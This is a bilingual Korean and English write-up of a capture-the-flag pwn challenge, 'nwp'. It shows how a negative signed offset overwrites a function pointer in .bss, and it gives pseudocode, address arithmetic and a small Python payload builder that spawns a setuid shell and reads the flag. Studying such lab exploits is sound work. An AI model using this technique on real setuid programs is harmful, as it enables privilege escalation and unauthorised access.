HyperSonic CTF Writeup CTF/Wargame

HyperSonic CTF 2026 nwp Writeup

HyperSonic CTF 2026 nwp 문제 풀이HyperSonic CTF 2026 nwp writeup

Contents

개요

nwp는 작은 상태 기계로 구성된 pwn 문제입니다. 프로그램은 오프셋을 입력받은 뒤, .bss 영역의 특정 위치에 8바이트를 읽고 함수 포인터를 호출합니다.

문제 조건은 다음과 같습니다.

  • 카테고리: pwnable
  • 프로그램 형식: 심볼이 제거된 64비트 ELF
  • 보호 기법: non-PIE, NX stack
  • 목표: 함수 포인터를 조작해 flag를 읽을 수 있는 셸을 실행합니다.

핵심은 .bss에 놓인 함수 포인터와 입력 버퍼의 거리입니다. 입력 주소가 base + offset 형태로 계산되는데, offset에 하한 검사가 없어 버퍼 앞쪽의 함수 포인터를 덮을 수 있습니다.

문제 분석

이후 설명에서 사용할 대상은 다음과 같습니다.

  • fp: 0x403580에 있는 함수 포인터입니다. 정상 흐름에서는 종료용 함수 주소가 들어갑니다.
  • buf: 0x403588에서 시작하는 입력 대상 영역입니다.
  • offset: scanf("%d%*c", &offset)로 읽는 부호 있는 정수입니다.
  • priv_shell: 0x4014d8에 있는 함수입니다. 권한을 맞춘 뒤 /bin/sh를 실행합니다.

프로그램은 심볼이 제거되어 함수명이 남아 있지 않습니다. 그래도 main 흐름을 따라가면 상태 기계 안에서 다음 동작이 이어집니다.

c
*(uint64_t *)0x403580 = 0x401326;

printf("offset> ");
scanf("%d%*c", &offset);

printf("input> ");
dst = (char *)0x403588 + (int64_t)offset;
__read_chk(0, dst, 8, object_size);

((void (*)(int))*(uint64_t *)0x403580)(0);

fp는 처음에 0x401326으로 초기화됩니다. 해당 함수는 _exit로 이어지는 종료용 경로입니다. 이후 프로그램은 offset을 입력받고, buf + offset 위치에 정확히 8바이트를 읽습니다. 마지막에는 fp가 가리키는 함수를 호출합니다.

여기서 주소 관계가 중요합니다.

text
fp  = 0x403580
buf = 0x403588
buf - fp = 8

따라서 offset = -8을 주면 쓰기 대상 주소가 바로 fp가 됩니다.

text
dst = buf + offset
    = 0x403588 - 8
    = 0x403580

__read_chk를 사용하고 있지만, 이 경로에서는 음수 오프셋 자체를 막지 못합니다. offset = -8일 때도 8바이트 쓰기가 가능하므로 함수 포인터 전체를 원하는 주소로 바꿀 수 있습니다.

실행 환경 설정도 공격 방향에 영향을 줍니다. 프로그램은 setuid가 설정된 상태로 실행되고, flag는 해당 권한으로만 읽을 수 있습니다. 따라서 실행 전 real uid/gid를 effective uid/gid와 같게 맞추는 경로를 찾아야 합니다.

일반 흐름에서 호출되지 않는 함수 중 0x4014d8은 다음과 같은 동작을 합니다.

c
uid = geteuid();
setreuid(uid, uid);

gid = getegid();
setregid(gid, gid);

char *argv[] = {"/bin/sh", NULL};
execve("/bin/sh", argv, NULL);

/bin/sh 문자열은 바로 평문으로 저장되어 있지 않고, 짧은 XOR 루틴으로 복원됩니다. 복원 결과와 execve 호출을 보면 이 함수가 flag를 읽기에 적합한 셸 경로입니다.

핵심 아이디어

취약점은 offset을 부호 있는 정수로 읽은 뒤 주소 계산에 그대로 사용하는 점입니다. buf 뒤쪽에 8바이트를 쓰는 구조처럼 보이지만, 음수 값을 넣으면 기준 주소보다 앞쪽에도 쓸 수 있습니다.

이 문제에서 buf 바로 앞에는 호출 예정인 함수 포인터가 있습니다.

text
0x403580: fp
0x403588: buf

두 주소의 차이가 정확히 8바이트이므로, offset = -8 하나로 쓰기 위치를 fp에 맞출 수 있습니다. 그리고 프로그램은 쓰기 직후 그 함수 포인터를 호출합니다. 즉 필요한 작업은 다음 두 가지로 줄어듭니다.

text
1. offset으로 -8을 입력한다.
2. 8바이트 입력으로 0x4014d8을 little-endian 형식으로 보낸다.

이후 execve("/bin/sh", ...)가 실행되면, 아직 입력 스트림에 남아 있는 데이터는 셸이 읽습니다. 그래서 함수 주소 뒤에 명령을 이어 보내면 셸을 대화식으로 다루지 않고도 결과를 받을 수 있습니다.

풀이 과정

Step 1. 상태 기계에서 입력 흐름 확인

프로그램 시작 후 main은 jump table을 사용하는 상태 기계처럼 동작합니다. 세부 분기는 난독화되어 있지만, 실제 공격에 필요한 흐름은 다음 순서로 이어집니다.

text
1. 입출력 버퍼링을 끈다.
2. fp를 종료용 함수로 초기화한다.
3. offset을 부호 있는 정수로 입력받는다.
4. buf + offset 위치에 8바이트를 읽는다.
5. fp를 호출한다.

offset은 부호 있는 정수이고 하한 검사가 없으므로, 음수 값을 그대로 주소 계산에 넣을 수 있습니다.

Step 2. 함수 포인터 덮기 위치 계산

입력 버퍼와 함수 포인터는 모두 .bss에 있습니다. 주소는 각각 다음과 같습니다.

text
fp  = 0x403580
buf = 0x403588

프로그램이 실제로 쓰는 목적지는 buf + offset입니다. fp를 덮으려면 이 값이 0x403580이 되어야 합니다.

text
buf + offset = fp
0x403588 + offset = 0x403580
offset = -8

따라서 첫 번째 입력은 -8입니다. 그다음 read는 정확히 8바이트를 읽으므로, 덮을 주소 하나를 little-endian으로 보내면 됩니다.

Step 3. 권한을 유지하는 셸 경로 선택

프로그램 안에는 execve로 이어지는 함수가 여러 개 보입니다. 이 중 유용한 경로는 0x4014d8입니다. 이 함수는 셸을 실행하기 전에 effective uid/gid를 읽고, real uid/gid도 같은 값으로 맞춥니다.

text
setreuid(geteuid(), geteuid())
setregid(getegid(), getegid())
execve("/bin/sh", ...)

setuid 프로그램에서 /bin/sh를 실행하면 권한이 기대와 다르게 떨어질 수 있습니다. 이 경로는 execve 전에 real uid/gid를 effective uid/gid와 같게 맞추므로 flag를 읽는 데 필요한 권한을 유지합니다.

Step 4. 남은 입력을 셸 명령으로 사용

read가 소비하는 데이터는 함수 주소 8바이트뿐입니다. 그 뒤에 이어 붙인 데이터는 셸이 실행된 뒤 표준 입력으로 전달됩니다.

최종 payload 구조는 다음과 같습니다.

text
"-8\n" || p64(0x4014d8) || "cat /flag.txt; exit\n"

프로그램은 offset을 읽고, p64(0x4014d8)로 fp를 덮은 뒤, 곧바로 fp(0)을 호출합니다. 이후 실행된 셸이 남은 명령을 처리하면서 flag를 출력합니다.

Exploit / Solver

공격 코드는 payload를 한 번에 보냅니다. scanf는 -8 뒤의 개행을 소비하고, 다음 read는 바로 이어지는 8바이트를 함수 포인터 값으로 사용합니다.

python
import struct


PRIV_SHELL = 0x4014D8


def build_payload(command: bytes = b"cat /flag.txt; exit\n") -> bytes:
    if not command.endswith(b"\n"):
        command += b"\n"

    return b"-8\n" + struct.pack("<Q", PRIV_SHELL) + command

네트워크 연결이나 로컬 프로세스에 위 payload를 그대로 전달합니다. 주소가 고정되어 있어 별도의 leak은 필요하지 않습니다.

결과

실행 결과, 셸이 전달한 명령을 처리하면서 다음 flag를 출력했습니다.

text
hs{https://clickjacking.me/}

Overview

nwp is a pwn challenge built around a small state machine. The program takes an offset as input, reads 8 bytes into a specific location in the .bss region, and then calls a function pointer.

The challenge setup:

  • Category: pwnable
  • Program format: stripped 64-bit ELF
  • Mitigations: non-PIE, NX stack
  • Goal: tamper with the function pointer to run a shell that can read the flag.

The key is the distance between the function pointer in .bss and the input buffer. The input address is computed as base + offset with no lower-bound check on offset, so you can overwrite the function pointer that sits in front of the buffer.

Challenge analysis

The targets used below:

  • fp: the function pointer at 0x403580. In the normal flow it holds the address of a termination function.
  • buf: the input target region starting at 0x403588.
  • offset: a signed integer read with scanf("%d%*c", &offset).
  • priv_shell: the function at 0x4014d8. It fixes up privileges and then runs /bin/sh.

The program is stripped, so no function names remain. Still, following the main flow shows the state machine running this sequence.

c
*(uint64_t *)0x403580 = 0x401326;

printf("offset> ");
scanf("%d%*c", &offset);

printf("input> ");
dst = (char *)0x403588 + (int64_t)offset;
__read_chk(0, dst, 8, object_size);

((void (*)(int))*(uint64_t *)0x403580)(0);

fp is initialized to 0x401326. That function is a termination path leading to _exit. The program then reads offset, reads exactly 8 bytes at buf + offset, and finally calls the function pointed to by fp.

The address relationship matters here.

text
fp  = 0x403580
buf = 0x403588
buf - fp = 8

So giving offset = -8 makes the write target address exactly fp.

text
dst = buf + offset
    = 0x403588 - 8
    = 0x403580

__read_chk is used, but on this path it does not block a negative offset. Even with offset = -8, an 8-byte write is possible, so the entire function pointer can be changed to an address of our choosing.

The runtime environment also shapes the attack. The program runs with setuid set, and the flag can only be read with that privilege, so we need a path that makes real uid/gid equal to effective uid/gid before spawning the shell.

Among the functions not called in the normal flow, 0x4014d8 does the following.

c
uid = geteuid();
setreuid(uid, uid);

gid = getegid();
setregid(gid, gid);

char *argv[] = {"/bin/sh", NULL};
execve("/bin/sh", argv, NULL);

The /bin/sh string is not stored in plaintext; it is reconstructed with a short XOR routine. The reconstructed result and the execve call make this function a suitable shell path for reading the flag.

Core idea

The vulnerability is that offset is read as a signed integer and then used directly in the address calculation. The structure looks like it writes 8 bytes after buf, but a negative value also lets you write in front of the base address.

In this challenge, the function pointer about to be called sits right in front of buf.

text
0x403580: fp
0x403588: buf

The two addresses are exactly 8 bytes apart, so a single offset = -8 aligns the write location with fp. And the program calls that function pointer right after the write. So the work needed reduces to the following two things.

text
1. Enter -8 as the offset.
2. Send 0x4014d8 in little-endian as the 8-byte input.

After execve("/bin/sh", ...) runs, the data still left in the input stream is read by the shell. So by appending a command after the function address, we get the result without interacting with the shell.

Solution

Step 1. Confirm the input flow in the state machine

After the program starts, main behaves like a state machine using a jump table. The detailed branches are obfuscated, but the flow actually needed for the attack follows this order.

text
1. Disable I/O buffering.
2. Initialize fp to the termination function.
3. Read offset as a signed integer.
4. Read 8 bytes at buf + offset.
5. Call fp.

offset is a signed integer with no lower-bound check, so a negative value can be fed straight into the address calculation.

Step 2. Compute the function-pointer overwrite location

The input buffer and the function pointer are both in .bss. The addresses are as follows.

text
fp  = 0x403580
buf = 0x403588

The destination the program actually writes to is buf + offset. To overwrite fp, this value must be 0x403580.

text
buf + offset = fp
0x403588 + offset = 0x403580
offset = -8

So the first input is -8. The following read reads exactly 8 bytes, so we just send one overwrite address in little-endian.

Step 3. Choose a shell path that preserves privileges

Several functions in the program lead to execve. The useful path among them is 0x4014d8. Before running the shell, this function reads effective uid/gid and sets real uid/gid to the same values.

text
setreuid(geteuid(), geteuid())
setregid(getegid(), getegid())
execve("/bin/sh", ...)

When a setuid program runs /bin/sh, privileges can drop unexpectedly. This path sets real uid/gid equal to effective uid/gid before execve, so it keeps the privileges needed to read the flag.

Step 4. Use the remaining input as shell commands

The data consumed by read is only the 8-byte function address. Any data appended after it is passed to standard input once the shell runs.

The final payload:

text
"-8\n" || p64(0x4014d8) || "cat /flag.txt; exit\n"

The program reads offset, overwrites fp with p64(0x4014d8), and then immediately calls fp(0). The shell that runs afterwards processes the remaining commands and prints the flag.

Exploit / Solver

The attack code sends the payload all at once. scanf consumes the newline after -8, and the next read uses the immediately following 8 bytes as the function pointer value.

python
import struct


PRIV_SHELL = 0x4014D8


def build_payload(command: bytes = b"cat /flag.txt; exit\n") -> bytes:
    if not command.endswith(b"\n"):
        command += b"\n"

    return b"-8\n" + struct.pack("<Q", PRIV_SHELL) + command

Pass the payload above to a network connection or a local process as is. The addresses are fixed, so no leak is needed.

Result

When run, the shell processed the supplied command and printed the following flag.

text
hs{https://clickjacking.me/}
Esc

Search titles, content and code.